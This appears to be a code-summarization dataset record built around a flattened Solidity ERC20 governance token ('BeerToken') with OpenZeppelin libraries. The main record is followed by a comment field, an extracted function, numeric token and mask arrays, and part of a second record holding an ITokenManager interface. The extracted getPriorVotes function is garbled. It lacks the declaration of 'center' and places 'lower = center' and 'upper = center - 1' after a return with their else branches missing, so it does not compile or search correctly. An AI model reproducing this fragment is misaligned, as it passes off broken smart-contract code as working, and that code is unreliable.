* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/BeerToken.sol
pragma solidity 0.6.12;
// BeerToken with Governance.
contract BeerToken is ERC20("Beer Token", "BEER"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BEER::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BEER::delegateBySig: invalid nonce");
require(now <= expiry, "BEER::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BEER::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BEERs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "BEER::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | * @notice Determine the prior number of votes for an account as of a block number @dev Block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address of the account to check @param blockNumber The block number to get the vote balance at @return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance | function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "BEER::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
lower = center;
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
| 291,199 | [
1,
8519,
326,
6432,
1300,
434,
19588,
364,
392,
2236,
487,
434,
279,
1203,
1300,
225,
3914,
1300,
1297,
506,
279,
727,
1235,
1203,
578,
469,
333,
445,
903,
15226,
358,
5309,
7524,
13117,
18,
225,
2236,
1021,
1758,
434,
326,
2236,
358,
866,
225,
1203,
1854,
1021,
1203,
1300,
358,
336,
326,
12501,
11013,
622,
327,
1021,
1300,
434,
19588,
326,
2236,
9323,
487,
434,
326,
864,
1203,
19,
5783,
866,
4486,
8399,
11013,
4804,
866,
10592,
3634,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1689,
2432,
29637,
12,
2867,
2236,
16,
2254,
1203,
1854,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2583,
12,
2629,
1854,
411,
1203,
18,
2696,
16,
315,
5948,
654,
2866,
588,
25355,
29637,
30,
486,
4671,
11383,
8863,
203,
203,
3639,
2254,
1578,
290,
1564,
4139,
273,
818,
1564,
4139,
63,
4631,
15533,
203,
3639,
309,
261,
82,
1564,
4139,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
1893,
4139,
63,
4631,
6362,
82,
1564,
4139,
300,
404,
8009,
2080,
1768,
1648,
1203,
1854,
13,
288,
203,
5411,
327,
26402,
63,
4631,
6362,
82,
1564,
4139,
300,
404,
8009,
27800,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
1893,
4139,
63,
4631,
6362,
20,
8009,
2080,
1768,
405,
1203,
1854,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
1578,
2612,
273,
374,
31,
203,
3639,
2254,
1578,
3854,
273,
290,
1564,
4139,
300,
404,
31,
203,
3639,
1323,
261,
5797,
405,
2612,
13,
288,
203,
5411,
25569,
3778,
3283,
273,
26402,
63,
4631,
6362,
5693,
15533,
203,
5411,
309,
261,
4057,
18,
2080,
1768,
422,
1203,
1854,
13,
288,
203,
7734,
327,
3283,
18,
27800,
31,
203,
7734,
2612,
273,
4617,
31,
203,
7734,
3854,
273,
4617,
300,
404,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
26402,
63,
4631,
6362,
8167,
8009,
27800,
31,
203,
565,
289,
203,
203,
2,
-100,
-100
]
|
pragma solidity ^0.4.24;
/// @title TokenManager interface
/// @dev Interface for TokenManager
contract ITokenManager {
event Issue(
address owner,
uint256 tokenId
);
event Mint(
address owner,
address to,
uint256 value,
uint256 tokenId
);
event Burn(
address owner,
address to,
uint256 value,
uint256 tokenId
);
event Transfer(
address from,
address to,
uint256 value,
uint256 tokenId
);
event Update(
address owner,
uint256 tokenId
);
function getContractCount() public constant returns(uint);
function issue(address _contractAddress) public returns (bool);
function transfer(
address _to,
uint256 _value,
uint256 _tokenId
) public returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value,
uint256 _tokenId
) public returns (bool);
function updateTokenInfo(uint256 _tokenId, string _name, string _symbol) public;
function totalSupplyOf(uint256 _tokenId) public view returns (uint256);
function balanceOf(uint256 _tokenId, address _owner) public constant returns (uint256);
function ownerOf(uint256 _tokenId) public view returns (address);
function tokensOfOwner(address _owner) public view returns (uint256[]);
function tokensOfHolder(address _holder) public view returns (uint256[]);
function decimalsOf(uint256 _tokenId) public view returns (uint8);
function getTokenInfo(uint256 _tokenId) public view returns(
uint256 tokenId,
address contractAddress,
string name,
string symbol,
address owner,
uint256 totalSupply,
uint8 decimals
);
function relativeAmountOf(
uint256 _targetTokenId,
uint256 _baseTokenId,
uint256 _amout
) public view returns (uint256);
} | @title TokenManager interface @dev Interface for TokenManager | contract ITokenManager {
event Issue(
address owner,
uint256 tokenId
);
event Mint(
address owner,
address to,
uint256 value,
uint256 tokenId
);
event Burn(
address owner,
address to,
uint256 value,
uint256 tokenId
);
event Transfer(
address from,
address to,
uint256 value,
uint256 tokenId
);
event Update(
address owner,
uint256 tokenId
);
function getContractCount() public constant returns(uint);
function issue(address _contractAddress) public returns (bool);
function transfer(
address _to,
uint256 _value,
uint256 _tokenId
) public returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value,
uint256 _tokenId
) public returns (bool);
function updateTokenInfo(uint256 _tokenId, string _name, string _symbol) public;
function totalSupplyOf(uint256 _tokenId) public view returns (uint256);
function balanceOf(uint256 _tokenId, address _owner) public constant returns (uint256);
function ownerOf(uint256 _tokenId) public view returns (address);
function tokensOfOwner(address _owner) public view returns (uint256[]);
function tokensOfHolder(address _holder) public view returns (uint256[]);
function decimalsOf(uint256 _tokenId) public view returns (uint8);
function getTokenInfo(uint256 _tokenId) public view returns(
uint256 tokenId,
address contractAddress,
string name,
string symbol,
address owner,
uint256 totalSupply,
uint8 decimals
);
function relativeAmountOf(
uint256 _targetTokenId,
uint256 _baseTokenId,
uint256 _amout
) public view returns (uint256);
} | 12,768,602 | [
1,
1345,
1318,
1560,
225,
6682,
364,
3155,
1318,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
467,
1345,
1318,
288,
203,
203,
565,
871,
11820,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
2254,
5034,
1147,
548,
203,
565,
11272,
203,
203,
565,
871,
490,
474,
12,
203,
1377,
1758,
3410,
16,
203,
1377,
1758,
358,
16,
203,
1377,
2254,
5034,
460,
16,
203,
1377,
2254,
5034,
1147,
548,
203,
565,
11272,
203,
203,
565,
871,
605,
321,
12,
203,
1377,
1758,
3410,
16,
203,
1377,
1758,
358,
16,
203,
1377,
2254,
5034,
460,
16,
203,
1377,
2254,
5034,
1147,
548,
203,
565,
11272,
203,
203,
565,
871,
12279,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
460,
16,
203,
